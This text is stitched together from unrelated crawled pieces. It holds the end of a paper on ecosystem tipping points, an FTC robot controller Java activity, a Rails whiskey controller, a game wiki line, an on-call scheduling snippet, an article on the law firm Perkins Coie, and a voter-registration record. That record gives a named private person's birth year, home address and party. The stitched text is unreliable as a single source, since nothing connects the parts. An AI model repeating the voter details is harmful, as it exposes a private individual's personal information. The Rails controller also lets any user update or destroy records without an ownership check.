Change (UNFCCC)~\cite{unfccc1992united} highlighting two critical factors for real-world tipping points: {\em critical levels} and {\em critical rates (time frames)} of changing environmental conditions. This was later extended to become the
Kyoto Protocol~\cite{protocol1997united} and the current Paris Agreement~\cite{paris2015united}.
The other is the question of whether tipping can be prevented
by a parameter trend reversal. We combine classical bifurcation analysis with the concept of
{\em basin instability} to give new insight into critical rates, uncover non-trivial effects arising
from the interplay between critical levels (B-tipping) and critical rates (R-tipping), and extend
the existing literature on preventing tipping by a parameter trend reversal.
We begin with classical bifurcation analysis of the corresponding autonomous ecosystem model with fixed in time parameters and identify a codimension-three degenerate Bogdanov-Takens
bifurcation as the organising centre for B-tipping and
the source of a dangerous subcritical Hopf bifurcation. We give testable criteria for B-tipping in the non-autonomous system in terms of parameter paths that cross a subcritical Hopf in the corresponding autonomous system.
Next, we perform basin instability analysis to reveal and give testable criteria for R-tipping
in the non-autonomous system in terms of parameter paths that do not cross any bifurcation
in the corresponding autonomous system. Finally, we produce a single diagram encompassing criteria for
both B-tipping and R-tipping by superimposing regions of basin instability on a classical two-parameter
bifurcation diagram of the plant growth rate vs. the herbivore mortality rate.
This approach gives new insight into system stability, beyond traditional bifurcation analysis, as it
captures both the adiabatic and non-adiabatic effects of a parameter change and guides tipping analysis
in the non-autonomous system.
In the non-autonomous system with time-varying parameters we obtain {\em tipping diagrams}
in the plane of the rate and magnitude of parameter shift and show that:
\begin{itemize}
\item R-tipping transitions in the tipping diagram correspond to {\em canard-like solutions}
in the phase
space that, rather surprisingly, track a moving unstable state.
\item
R-tipping transition curves in the tipping diagram for non-monotone parameter shifts that cross a basin instability boundary alone and then turn around can form {\em R-tipping tongues}
with two critical rates. This means that the system switches from tracking to tipping and
back to tracking again as the rate of the parameter shift increases. R-tipping tongues
are reminiscent of resonance tongues in the sense of enhanced response to optimally
timed external inputs.
\item
The interplay between critical levels and critical rates (or between B-tipping and R-tipping)
for non-monotone parameter shifts that cross a basin instability boundary and a dangerous
bifurcation and then turn around gives rise to an {\em S-shaped tipping-tracking transition curve} in
the tipping diagram with one critical level and multiple critical rates. This means the system
exhibits inverted behaviour to an R-tipping tongue and switches from tipping to tracking and
back to tipping again as the rate of the parameter shift increases.
\item
Given a monotone parameter shift and its non-monotone reversal, tipping diagrams can be partitioned
into {\em points of tracking}, {\em points of return} where tipping can be prevented by the reversal,
{\em points of no return} where tipping cannot be prevented by the reversal, and {\em points of return tipping}
where tipping is inadvertently induced by the reversal. This partitioning provides an alternative way
to categorise tipping phenomena.
\end{itemize}
Our results on the ecosystem model give new insight into the sensitivity of ecosystems
to the magnitudes and rates of environmental change. More generally, the method of
superimposing regions of {\em basin instability} on traditional bifurcation diagrams
can be extended to regions of {\em threshold instability} for tipping thresholds that
do not separate the phase space into different basins of attraction~\cite{wieczorek2018,xie2018}.
Such approach would capture, in addition to B-tipping due to dangerous bifurcations,
both {\em irreversible} and {\em reversible (transient) R-tipping},
and facilitate systematic in-depth analysis of tipping phenomena in any nonlinear system.
This is evidenced further by a comparison of the ecosystem model with the modified
saddle-node and subcritical Hopf normal forms that reveals some universal features of
non-monotone parameter shifts that cross a basin instability boundary and a dangerous
bifurcation and then turn around.
\section*{Acknowledgments}
P.E.O'K. thanks M. Mortell for useful discussions on singular perturbations.
S.W. has received funding from the European Union's Horizon 202 research and innovation Programme under the Marie Sklodowska-Curie grant agreement No 643073.
\begin{comment}
We investigated how B-tipping and R-tipping interact with both monotone and non-monotone parameter shifts traversing catastrophic bifurcations. In doing so we introduced two concepts, that of a moving equilibrium and of basin instability. We provided criteria and methods for establishing both and use them to provide a structured means to describe and locate R-tipping within a system. The monotone parameter shifts provide tipping diagrams that are not surprising, going from a high to a lower rate of parameter shift, we get R-tipping beginning close to the region of basin instability that smoothly transforms to B-tipping close to the bifurcation while never crossing the bifurcation point. However, the non-monotone shifts reveal an intriguing tipping diagram where large ranges of parameter shift can have multiple critical rates.
Our analysis of the ecosystem model shows that there are rates of environmental change that are too high for the system to cope with and once exceeded will be forced to an alternative state. Van der Bolt et al. demonstrated that under the right conditions reversing the parameter trend will recover the system~\cite{bolt2018climate}. These conditions are illuminated by the superimposing of the tipping diagram for monotone shifts on top of the respective non-monotone shifts, where areas are revealed that are recoverable once tipping has been initiated as well as areas where recovery is not possible. Previous efforts to categorise tipping points focused on the drivers of the phenomenon (B-tipping, R-tipping and N-tipping), our work has led us to a sub-categorization of B-tipping and R-tipping: ``Points of return'', where a reversal of the trend can immediately recover the system and ``points of no return'' where tipping is unavoidable.
We end by applying our methods to modified versions of the normal form equations for a saddle-node bifurcation and a subcritical Hopf bifurcation. We show that the behaviour observed in the ecosystem model is also present in both normal form equations. Furthermore, the tipping diagrams of both equations led us to discovering an additional tipping point, one where upon reversing the parameter shift the system becomes susceptible to tipping. We call these ``points of return tipping''.
The ecosystem tipping diagrams can be seen in the context of the aforementioned Article 2 of the UNFCCC. The ``ultimate objective'' being the ``stabilization of greenhouse gas concentrations in the atmosphere at a \emph{level} that
would prevent dangerous anthropogenic interference with the climate system. Such a level should be achieved within a \emph{time frame} sufficient to allow ecosystems to adapt naturally to climate change''~\cite{unfccc1992united}. Our methods specifically address this objective in our tipping diagrams, depicting both the level of environmental change as well as a wide ranging time frame giving a very good picture of what this change might entail.
In the broader picture, our success in recreating the tipping phenomena for passages through both dangerous bifurcations, saddle-node and subcritical Hopf, should have a profound effect in our understanding of the interaction between B-tipping and R-tipping.
\end{comment}
\clearpage
\section*{Appendix}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 8,035 |
package org.firstinspires.ftc.robotcontroller.internal;
import android.app.ActionBar;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.res.Configuration;
import android.content.res.Resources;
import android.hardware.usb.UsbDevice;
import android.hardware.usb.UsbManager;
import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.os.IBinder;
import android.preference.PreferenceManager;
import android.support.annotation.NonNull;
import android.view.Menu;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.webkit.WebView;
import android.widget.ImageButton;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.google.blocks.ftcrobotcontroller.BlocksActivity;
import com.google.blocks.ftcrobotcontroller.ProgrammingModeActivity;
import com.google.blocks.ftcrobotcontroller.ProgrammingModeControllerImpl;
import com.google.blocks.ftcrobotcontroller.ProgrammingWebHandlers;
import com.google.blocks.ftcrobotcontroller.runtime.BlocksOpMode;
import com.qualcomm.ftccommon.AboutActivity;
import com.qualcomm.ftccommon.ClassManagerFactory;
import com.qualcomm.ftccommon.FtcEventLoop;
import com.qualcomm.ftccommon.FtcEventLoopIdle;
import com.qualcomm.ftccommon.FtcRobotControllerService;
import com.qualcomm.ftccommon.FtcRobotControllerService.FtcRobotControllerBinder;
import com.qualcomm.ftccommon.FtcRobotControllerSettingsActivity;
import com.qualcomm.ftccommon.LaunchActivityConstantsList;
import com.qualcomm.ftccommon.LaunchActivityConstantsList.RequestCode;
import com.qualcomm.ftccommon.ProgrammingModeController;
import com.qualcomm.ftccommon.Restarter;
import com.qualcomm.ftccommon.UpdateUI;
import com.qualcomm.ftccommon.configuration.EditParameters;
import com.qualcomm.ftccommon.configuration.FtcLoadFileActivity;
import com.qualcomm.ftccommon.configuration.RobotConfigFile;
import com.qualcomm.ftccommon.configuration.RobotConfigFileManager;
import com.qualcomm.ftcrobotcontroller.R;
import com.qualcomm.hardware.HardwareFactory;
import com.qualcomm.robotcore.eventloop.EventLoopManager;
import com.qualcomm.robotcore.eventloop.opmode.FtcRobotControllerServiceState;
import com.qualcomm.robotcore.eventloop.opmode.OpModeRegister;
import com.qualcomm.robotcore.hardware.configuration.LynxConstants;
import com.qualcomm.robotcore.hardware.configuration.Utility;
import com.qualcomm.robotcore.util.Dimmer;
import com.qualcomm.robotcore.util.ImmersiveMode;
import com.qualcomm.robotcore.util.RobotLog;
import com.qualcomm.robotcore.wifi.NetworkConnectionFactory;
import com.qualcomm.robotcore.wifi.NetworkType;
import com.qualcomm.robotcore.wifi.WifiDirectAssistant;
import org.firstinspires.ftc.ftccommon.external.SoundPlayingRobotMonitor;
import org.firstinspires.ftc.ftccommon.internal.FtcRobotControllerWatchdogService;
import org.firstinspires.ftc.ftccommon.internal.ProgramAndManageActivity;
import org.firstinspires.ftc.robotcore.internal.hardware.DragonboardLynxDragonboardIsPresentPin;
import org.firstinspires.ftc.robotcore.internal.network.DeviceNameManager;
import org.firstinspires.ftc.robotcore.internal.network.PreferenceRemoterRC;
import org.firstinspires.ftc.robotcore.internal.network.StartResult;
import org.firstinspires.ftc.robotcore.internal.system.AppUtil;
import org.firstinspires.ftc.robotcore.internal.system.Assert;
import org.firstinspires.ftc.robotcore.internal.system.PreferencesHelper;
import org.firstinspires.ftc.robotcore.internal.system.ServiceController;
import org.firstinspires.ftc.robotcore.internal.ui.LocalByRefIntentExtraHolder;
import org.firstinspires.ftc.robotcore.internal.ui.ThemedActivity;
import org.firstinspires.ftc.robotcore.internal.ui.UILocation;
import org.firstinspires.ftc.robotcore.internal.webserver.RobotControllerWebInfo;
import org.firstinspires.ftc.robotcore.internal.webserver.WebServer;
import org.firstinspires.inspection.RcInspectionActivity;
import java.util.Queue;
import java.util.concurrent.ConcurrentLinkedQueue;
@SuppressWarnings("WeakerAccess")
public class FtcRobotControllerActivity extends Activity
{
public static final String TAG = "RCActivity";
public String getTag() { return TAG; }
private static final int REQUEST_CONFIG_WIFI_CHANNEL = 1;
private static final int NUM_GAMEPADS = 2;
protected WifiManager.WifiLock wifiLock;
protected RobotConfigFileManager cfgFileMgr;
protected ProgrammingWebHandlers programmingWebHandlers;
protected ProgrammingModeController programmingModeController;
protected UpdateUI.Callback callback;
protected Context context;
protected Utility utility;
protected StartResult deviceNameManagerStartResult = new StartResult();
protected StartResult prefRemoterStartResult = new StartResult();
protected PreferencesHelper preferencesHelper;
protected final SharedPreferencesListener sharedPreferencesListener = new SharedPreferencesListener();
protected ImageButton buttonMenu;
protected TextView textDeviceName;
protected TextView textNetworkConnectionStatus;
protected TextView textRobotStatus;
protected TextView[] textGamepad = new TextView[NUM_GAMEPADS];
protected TextView textOpMode;
protected TextView textErrorMessage;
protected ImmersiveMode immersion;
protected UpdateUI updateUI;
protected Dimmer dimmer;
protected LinearLayout entireScreenLayout;
protected FtcRobotControllerService controllerService;
protected NetworkType networkType;
protected FtcEventLoop eventLoop;
protected Queue<UsbDevice> receivedUsbAttachmentNotifications;
protected class RobotRestarter implements Restarter {
public void requestRestart() {
requestRobotRestart();
}
}
protected ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
FtcRobotControllerBinder binder = (FtcRobotControllerBinder) service;
onServiceBind(binder.getService());
}
@Override
public void onServiceDisconnected(ComponentName name) {
RobotLog.vv(FtcRobotControllerService.TAG, "%s.controllerService=null", TAG);
controllerService = null;
}
};
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
if (UsbManager.ACTION_USB_DEVICE_ATTACHED.equals(intent.getAction())) {
UsbDevice usbDevice = intent.getParcelableExtra(UsbManager.EXTRA_DEVICE);
RobotLog.vv(TAG, "ACTION_USB_DEVICE_ATTACHED: %s", usbDevice.getDeviceName());
if (usbDevice != null) { // paranoia
// We might get attachment notifications before the event loop is set up, so
// we hold on to them and pass them along only when we're good and ready.
if (receivedUsbAttachmentNotifications != null) { // *total* paranoia
receivedUsbAttachmentNotifications.add(usbDevice);
passReceivedUsbAttachmentsToEventLoop();
}
}
}
}
protected void passReceivedUsbAttachmentsToEventLoop() {
if (this.eventLoop != null) {
for (;;) {
UsbDevice usbDevice = receivedUsbAttachmentNotifications.poll();
if (usbDevice == null)
break;
this.eventLoop.onUsbDeviceAttached(usbDevice);
}
}
else {
// Paranoia: we don't want the pending list to grow without bound when we don't
// (yet) have an event loop
while (receivedUsbAttachmentNotifications.size() > 100) {
receivedUsbAttachmentNotifications.poll();
}
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
RobotLog.onApplicationStart(); // robustify against onCreate() following onDestroy() but using the same app instance, which apparently does happen
RobotLog.vv(TAG, "onCreate()");
ThemedActivity.appAppThemeToActivity(getTag(), this); // do this way instead of inherit to help AppInventor
Assert.assertTrue(FtcRobotControllerWatchdogService.isFtcRobotControllerActivity(AppUtil.getInstance().getRootActivity()));
Assert.assertTrue(AppUtil.getInstance().isRobotController());
// Quick check: should we pretend we're not here, and so allow the Lynx to operate as
// a stand-alone USB-connected module?
if (LynxConstants.isRevControlHub()) {
if (LynxConstants.disableDragonboard()) {
// Double-sure check that the Lynx Module can operate over USB, etc, then get out of Dodge
RobotLog.vv(TAG, "disabling Dragonboard and exiting robot controller");
DragonboardLynxDragonboardIsPresentPin.getInstance().setState(false);
AppUtil.getInstance().finishRootActivityAndExitApp();
}
else {
// Double-sure check that we can talk to the DB over the serial TTY
DragonboardLynxDragonboardIsPresentPin.getInstance().setState(true);
}
}
context = this;
utility = new Utility(this);
DeviceNameManager.getInstance().start(deviceNameManagerStartResult);
PreferenceRemoterRC.getInstance().start(prefRemoterStartResult);
receivedUsbAttachmentNotifications = new ConcurrentLinkedQueue<UsbDevice>();
eventLoop = null;
setContentView(R.layout.activity_ftc_controller);
preferencesHelper = new PreferencesHelper(TAG, context);
preferencesHelper.writeBooleanPrefIfDifferent(context.getString(R.string.pref_rc_connected), true);
preferencesHelper.getSharedPreferences().registerOnSharedPreferenceChangeListener(sharedPreferencesListener);
entireScreenLayout = (LinearLayout) findViewById(R.id.entire_screen);
buttonMenu = (ImageButton) findViewById(R.id.menu_buttons);
buttonMenu.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
AppUtil.getInstance().openOptionsMenuFor(FtcRobotControllerActivity.this);
}
});
BlocksOpMode.setActivityAndWebView(this, (WebView) findViewById(R.id.webViewBlocksRuntime));
ClassManagerFactory.registerFilters();
ClassManagerFactory.processAllClasses();
cfgFileMgr = new RobotConfigFileManager(this);
// Clean up 'dirty' status after a possible crash
RobotConfigFile configFile = cfgFileMgr.getActiveConfig();
if (configFile.isDirty()) {
configFile.markClean();
cfgFileMgr.setActiveConfig(false, configFile);
}
textDeviceName = (TextView) findViewById(R.id.textDeviceName);
textNetworkConnectionStatus = (TextView) findViewById(R.id.textNetworkConnectionStatus);
textRobotStatus = (TextView) findViewById(R.id.textRobotStatus);
textOpMode = (TextView) findViewById(R.id.textOpMode);
textErrorMessage = (TextView) findViewById(R.id.textErrorMessage);
textGamepad[0] = (TextView) findViewById(R.id.textGamepad1);
textGamepad[1] = (TextView) findViewById(R.id.textGamepad2);
immersion = new ImmersiveMode(getWindow().getDecorView());
dimmer = new Dimmer(this);
dimmer.longBright();
programmingWebHandlers = new ProgrammingWebHandlers();
programmingModeController = new ProgrammingModeControllerImpl(
this, (TextView) findViewById(R.id.textRemoteProgrammingMode), programmingWebHandlers);
updateUI = createUpdateUI();
callback = createUICallback(updateUI);
PreferenceManager.setDefaultValues(this, R.xml.app_settings, false);
WifiManager wifiManager = (WifiManager) getApplicationContext().getSystemService(Context.WIFI_SERVICE);
wifiLock = wifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "");
hittingMenuButtonBrightensScreen();
wifiLock.acquire();
callback.networkConnectionUpdate(WifiDirectAssistant.Event.DISCONNECTED);
readNetworkType();
ServiceController.startService(FtcRobotControllerWatchdogService.class);
bindToService();
logPackageVersions();
}
protected UpdateUI createUpdateUI() {
Restarter restarter = new RobotRestarter();
UpdateUI result = new UpdateUI(this, dimmer);
result.setRestarter(restarter);
result.setTextViews(textNetworkConnectionStatus, textRobotStatus, textGamepad, textOpMode, textErrorMessage, textDeviceName);
return result;
}
protected UpdateUI.Callback createUICallback(UpdateUI updateUI) {
UpdateUI.Callback result = updateUI.new Callback();
result.setStateMonitor(new SoundPlayingRobotMonitor());
return result;
}
@Override
protected void onStart() {
super.onStart();
RobotLog.vv(TAG, "onStart()");
// If we're start()ing after a stop(), then shut the old robot down so
// we can refresh it with new state (e.g., with new hw configurations)
shutdownRobot();
updateUIAndRequestRobotSetup();
cfgFileMgr.getActiveConfigAndUpdateUI();
entireScreenLayout.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
dimmer.handleDimTimer();
return false;
}
});
}
@Override
protected void onResume() {
super.onResume();
RobotLog.vv(TAG, "onResume()");
}
@Override
protected void onPause() {
super.onPause();
RobotLog.vv(TAG, "onPause()");
if (programmingModeController.isActive()) {
programmingModeController.stopProgrammingMode();
}
}
@Override
protected void onStop() {
// Note: this gets called even when the configuration editor is launched. That is, it gets
// called surprisingly often. So, we don't actually do much here.
super.onStop();
RobotLog.vv(TAG, "onStop()");
}
@Override
protected void onDestroy() {
super.onDestroy();
RobotLog.vv(TAG, "onDestroy()");
shutdownRobot(); // Ensure the robot is put away to bed
if (callback != null) callback.close();
PreferenceRemoterRC.getInstance().start(prefRemoterStartResult);
DeviceNameManager.getInstance().stop(deviceNameManagerStartResult);
unbindFromService();
// If the app manually (?) is stopped, then we don't need the auto-starting function (?)
ServiceController.stopService(FtcRobotControllerWatchdogService.class);
wifiLock.release();
preferencesHelper.getSharedPreferences().unregisterOnSharedPreferenceChangeListener(sharedPreferencesListener);
RobotLog.cancelWriteLogcatToDisk();
}
protected void bindToService() {
readNetworkType();
Intent intent = new Intent(this, FtcRobotControllerService.class);
intent.putExtra(NetworkConnectionFactory.NETWORK_CONNECTION_TYPE, networkType);
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
protected void unbindFromService() {
if (controllerService != null) {
unbindService(connection);
}
}
protected void logPackageVersions() {
RobotLog.logBuildConfig(com.qualcomm.ftcrobotcontroller.BuildConfig.class);
RobotLog.logBuildConfig(com.qualcomm.robotcore.BuildConfig.class);
RobotLog.logBuildConfig(com.qualcomm.hardware.BuildConfig.class);
RobotLog.logBuildConfig(com.qualcomm.ftccommon.BuildConfig.class);
RobotLog.logBuildConfig(com.google.blocks.BuildConfig.class);
RobotLog.logBuildConfig(org.firstinspires.inspection.BuildConfig.class);
}
protected void readNetworkType() {
// The code here used to defer to the value found in a configuration file
// to configure the network type. If the file was absent, then it initialized
// it with a default.
//
// However, bugs have been reported with that approach (empty config files, specifically).
// Moreover, the non-Wifi-Direct networking is end-of-life, so the simplest and most robust
// (e.g.: no one can screw things up by messing with the contents of the config file) fix is
// to do away with configuration file entirely.
networkType = NetworkType.WIFIDIRECT;
// update the app_settings
preferencesHelper.writeStringPrefIfDifferent(context.getString(R.string.pref_network_connection_type), networkType.toString());
}
@Override
public void onWindowFocusChanged(boolean hasFocus){
super.onWindowFocusChanged(hasFocus);
// When the window loses focus (e.g., the action overflow is shown),
// cancel any pending hide action. When the window gains focus,
// hide the system UI.
if (hasFocus) {
if (ImmersiveMode.apiOver19()){
// Immersive flag only works on API 19 and above.
immersion.hideSystemUI();
}
} else {
immersion.cancelSystemUIHide();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.ftc_robot_controller, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
int id = item.getItemId();
if (id == R.id.action_programming_mode) {
if (cfgFileMgr.getActiveConfig().isNoConfig()) {
// Tell the user they must configure the robot before starting programming mode.
// TODO: as we are no longer truly 'modal' this warning should be adapted
AppUtil.getInstance().showToast(UILocation.BOTH, context, context.getString(R.string.toastConfigureRobotBeforeProgrammingMode));
} else {
Intent programmingModeIntent = new Intent(AppUtil.getDefContext(), ProgrammingModeActivity.class);
programmingModeIntent.putExtra(
LaunchActivityConstantsList.PROGRAMMING_MODE_ACTIVITY_PROGRAMMING_WEB_HANDLERS,
new LocalByRefIntentExtraHolder(programmingWebHandlers));
startActivity(programmingModeIntent);
}
return true;
} else if (id == R.id.action_program_and_manage) {
Intent programmingModeIntent = new Intent(AppUtil.getDefContext(), ProgramAndManageActivity.class);
RobotControllerWebInfo webInfo = programmingWebHandlers.getWebServer().getConnectionInformation();
programmingModeIntent.putExtra(LaunchActivityConstantsList.RC_WEB_INFO, webInfo.toJson());
startActivity(programmingModeIntent);
} else if (id == R.id.action_inspection_mode) {
Intent inspectionModeIntent = new Intent(AppUtil.getDefContext(), RcInspectionActivity.class);
startActivity(inspectionModeIntent);
return true;
}
else if (id == R.id.action_blocks) {
Intent blocksIntent = new Intent(AppUtil.getDefContext(), BlocksActivity.class);
startActivity(blocksIntent);
return true;
}
else if (id == R.id.action_restart_robot) {
dimmer.handleDimTimer();
AppUtil.getInstance().showToast(UILocation.BOTH, context, context.getString(R.string.toastRestartingRobot));
requestRobotRestart();
return true;
}
else if (id == R.id.action_configure_robot) {
EditParameters parameters = new EditParameters();
Intent intentConfigure = new Intent(AppUtil.getDefContext(), FtcLoadFileActivity.class);
parameters.putIntent(intentConfigure);
startActivityForResult(intentConfigure, RequestCode.CONFIGURE_ROBOT_CONTROLLER.ordinal());
}
else if (id == R.id.action_settings) {
// historical: this once erroneously used FTC_CONFIGURE_REQUEST_CODE_ROBOT_CONTROLLER
Intent settingsIntent = new Intent(AppUtil.getDefContext(), FtcRobotControllerSettingsActivity.class);
startActivityForResult(settingsIntent, RequestCode.SETTINGS_ROBOT_CONTROLLER.ordinal());
return true;
}
else if(id == R.id.autonSettings) {
Intent intent = new Intent(AppUtil.getDefContext(), AutonomousSettings.class);
startActivity(intent);
return true;
}
else if (id == R.id.action_about) {
Intent intent = new Intent(AppUtil.getDefContext(), AboutActivity.class);
intent.putExtra(LaunchActivityConstantsList.ABOUT_ACTIVITY_CONNECTION_TYPE, networkType);
startActivity(intent);
return true;
}
else if (id == R.id.action_exit_app) {
finish();
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
// don't destroy assets on screen rotation
}
@Override
protected void onActivityResult(int request, int result, Intent intent) {
if (request == REQUEST_CONFIG_WIFI_CHANNEL) {
if (result == RESULT_OK) {
AppUtil.getInstance().showToast(UILocation.BOTH, context, context.getString(R.string.toastWifiConfigurationComplete));
}
}
// was some historical confusion about launch codes here, so we err safely
if (request == RequestCode.CONFIGURE_ROBOT_CONTROLLER.ordinal() || request == RequestCode.SETTINGS_ROBOT_CONTROLLER.ordinal()) {
// We always do a refresh, whether it was a cancel or an OK, for robustness
cfgFileMgr.getActiveConfigAndUpdateUI();
}
}
public void onServiceBind(final FtcRobotControllerService service) {
RobotLog.vv(FtcRobotControllerService.TAG, "%s.controllerService=bound", TAG);
controllerService = service;
updateUI.setControllerService(controllerService);
updateUIAndRequestRobotSetup();
programmingWebHandlers.setState(new FtcRobotControllerServiceState() {
@NonNull
@Override
public WebServer getWebServer() {
return service.getWebServer();
}
@Override
public EventLoopManager getEventLoopManager() {
return service.getRobot().eventLoopManager;
}
});
}
private void updateUIAndRequestRobotSetup() {
if (controllerService != null) {
callback.networkConnectionUpdate(controllerService.getNetworkConnectionStatus());
callback.updateRobotStatus(controllerService.getRobotStatus());
requestRobotSetup();
}
}
private void requestRobotSetup() {
if (controllerService == null) return;
HardwareFactory factory;
RobotConfigFile file = cfgFileMgr.getActiveConfigAndUpdateUI();
HardwareFactory hardwareFactory = new HardwareFactory(context);
try {
hardwareFactory.setXmlPullParser(file.getXml());
} catch (Resources.NotFoundException e) {
file = RobotConfigFile.noConfig(cfgFileMgr);
hardwareFactory.setXmlPullParser(file.getXml());
cfgFileMgr.setActiveConfigAndUpdateUI(false, file);
}
factory = hardwareFactory;
OpModeRegister userOpModeRegister = createOpModeRegister();
eventLoop = new FtcEventLoop(factory, userOpModeRegister, callback, this, programmingModeController);
FtcEventLoopIdle idleLoop = new FtcEventLoopIdle(factory, userOpModeRegister, callback, this, programmingModeController);
controllerService.setCallback(callback);
controllerService.setupRobot(eventLoop, idleLoop);
passReceivedUsbAttachmentsToEventLoop();
}
protected OpModeRegister createOpModeRegister() {
return new FtcOpModeRegister();
}
private void shutdownRobot() {
if (controllerService != null) controllerService.shutdownRobot();
}
private void requestRobotRestart() {
AppUtil.getInstance().showToast(UILocation.BOTH, AppUtil.getDefContext().getString(R.string.toastRestartingRobot));
//
shutdownRobot();
requestRobotSetup();
//
AppUtil.getInstance().showToast(UILocation.BOTH, AppUtil.getDefContext().getString(R.string.toastRestartRobotComplete));
}
protected void hittingMenuButtonBrightensScreen() {
ActionBar actionBar = getActionBar();
if (actionBar != null) {
actionBar.addOnMenuVisibilityListener(new ActionBar.OnMenuVisibilityListener() {
@Override
public void onMenuVisibilityChanged(boolean isVisible) {
if (isVisible) {
dimmer.handleDimTimer();
}
}
});
}
}
protected class SharedPreferencesListener implements SharedPreferences.OnSharedPreferenceChangeListener {
@Override public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
if (key.equals(context.getString(R.string.pref_app_theme))) {
ThemedActivity.restartForAppThemeChange(getTag(), getString(R.string.appThemeChangeRestartNotifyRC));
}
}
}
}
| {
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} | 6,580 |
• Lightning damage has a 25 – 35% chance to Stun for 1.5 seconds.
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This page was last edited on 22 June 2016, at 08:01. | {
"redpajama_set_name": "RedPajamaC4"
} | 8,983 |
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} | 1,277 |
Within on-call scheduling, you can use Notify functions to send an SMS to on-call resources when an incident gets assigned to them.
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"redpajama_set_name": "RedPajamaC4"
} | 683 |
Robin Marette Deibel was born in 1991 and she registered to vote, giving her address as 2570 E 124Th Dr, Thornton, Adams County, Colorado, United States of America 80241-2735. Her voting status is: Active. She is registered in the Colorado Democratic Party. | {
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} | 410 |
class WhiskeysController < ApplicationController
before_action :set_whiskey!, except: [:create, :index, :new]
def index
# byebug
if params[:user_id]
@whiskeys = User.find(params[:user_id]).whiskeys
respond_to do |f|
f.json {render json: @whiskeys}
f.html {render :index}
end
else
@whiskeys = Whiskey.all
respond_to do |f|
f.json {render json: @whiskeys}
f.html {render :index}
end
end
end
def show
respond_to do |f|
f.json{render json: @whiskey}
end
end
# def new
# @whiskey = Whiskey.new
#
# end
def create
@whiskey = Whiskey.create(whiskey_params)
current_user.whiskeys << @whiskey
render json: @whiskey, status: 201
@distiller = @whiskey.build_distiller
@region = @whiskey.distiller.build_region
end
def edit
end
def update
@whiskey.update(whiskey_params)
if @whiskey.save
redirect_to @whiskey
else
render :edit
end
end
def destroy
@whiskey.destroy
redirect_to whiskey_path
end
def add
current_user.whiskeys << @whiskey
redirect_to current_user
end
def remove
current_user.whiskeys.delete(@whiskey)
current_user.save
redirect_to current_user
end
private
def set_whiskey!
@whiskey = Whiskey.find(params[:id])
end
def whiskey_params
params.require(:whiskey).permit(:name, :proof, distiller_attributes: [:name, region_attributes: [:country]])
end
end
| {
"redpajama_set_name": "RedPajamaGithub"
} | 9,426 |
Perkins Coie is an American multinational law firm headquartered in Seattle, Washington. Founded in 1912, it is recognized as an Am Law 50 firm. It is the largest law firm headquartered in the Pacific Northwest and has 20 offices across the United States and Asia. The firm provides corporate, commercial litigation, intellectual property, and regulatory legal advice to a broad range of clients, including prominent technology companies like Google, Twitter, Intel, Facebook, and Amazon. In addition to its corporate representation, the firm has represented political clients. The firm is known for its pro bono work.
History
Founded in 1912, the firm has represented the Boeing Company since the founding of the aerospace company in 1916. Perkins Coie has been named one of Fortune's "100 Best Companies to Work For" for 19 consecutive years and recently ranked #23 on the list.
In 2009, Perkins Coie was awarded the Maleng Advocate for Youth Award by the Center for Children and Youth Justice for its outstanding pro bono legal work.
The firm was an early entrant into fintech and blockchain legal work. Perkins Coie also counsels startups and established tech companies. It launched the Perkins Coie Tech Venture index in 2019, which measures the overall health and trajectory of the emerging growth technology and venture capital ecosystem.
In 2018, Perkins Coie joined the American Bar Association's campaign targeting substance-use disorders and mental health issues among lawyers.
In 2019, the firm became a signatory to the Mansfield Rule, which aims to diversify the leadership of large law firms by broadening the candidate pool for senior management positions.
Clientele
Perkins Coie is counsel of record for the Democratic National Committee, Democratic Leadership Council, the Democratic Senatorial Campaign Committee, and the Democratic Congressional Campaign Committee. Other political clients include most Democratic members of the United States Congress. It has also represented several presidential campaigns, including those of John Kerry, Barack Obama, and Hillary Clinton. The group's political law practice was founded by Robert Bauer who recruited Marc Elias and made him chair of the group in 2009. Both men have since left the firm.
Notable cases
The firm represented Amazon in its IPO in 1997.
The firm represented Christine Gregoire in the prolonged litigation surrounding her 2004 Washington gubernatorial election.
A team of Perkins lawyers successfully represented Al Franken in his recount and legal battle over the 2008 Senatorial election in Minnesota.
In 2006, Perkins Coie, led by partner Harry Schneider, represented Salim Ahmed Hamdan, the alleged driver and bodyguard of Osama Bin Laden. The case made its way to the U.S. Supreme Court in Hamdan v. Rumsfeld, in which the Court ruled that the Bush Administration's use of military commissions to try terrorism suspects was unconstitutional.
Perkins Coie worked in the Doe v. Reed case concerning petition signatures in state ballot initiative campaigns, which was argued successfully before the U.S. Supreme Court on April 28, 2010.
In 2010, Perkins Coie sought advisory opinions from the Federal Election Commission declaring that certain Google and Facebook advertisements were covered by the "small items" and "impracticable" exemptions of the law that otherwise requires a political advertisement to include a disclaimer revealing who paid for it. The commission granted Google's request in a divided vote, and deadlocked on Facebook's request. According to The New York Times, "Facebook nonetheless proceeded as if it was exempt from the disclaimer requirement". In October 2017, Perkins Coie lobbied to defeat a bill called the "Honest Ads Act", which would require internet companies to disclose who paid for political ads.
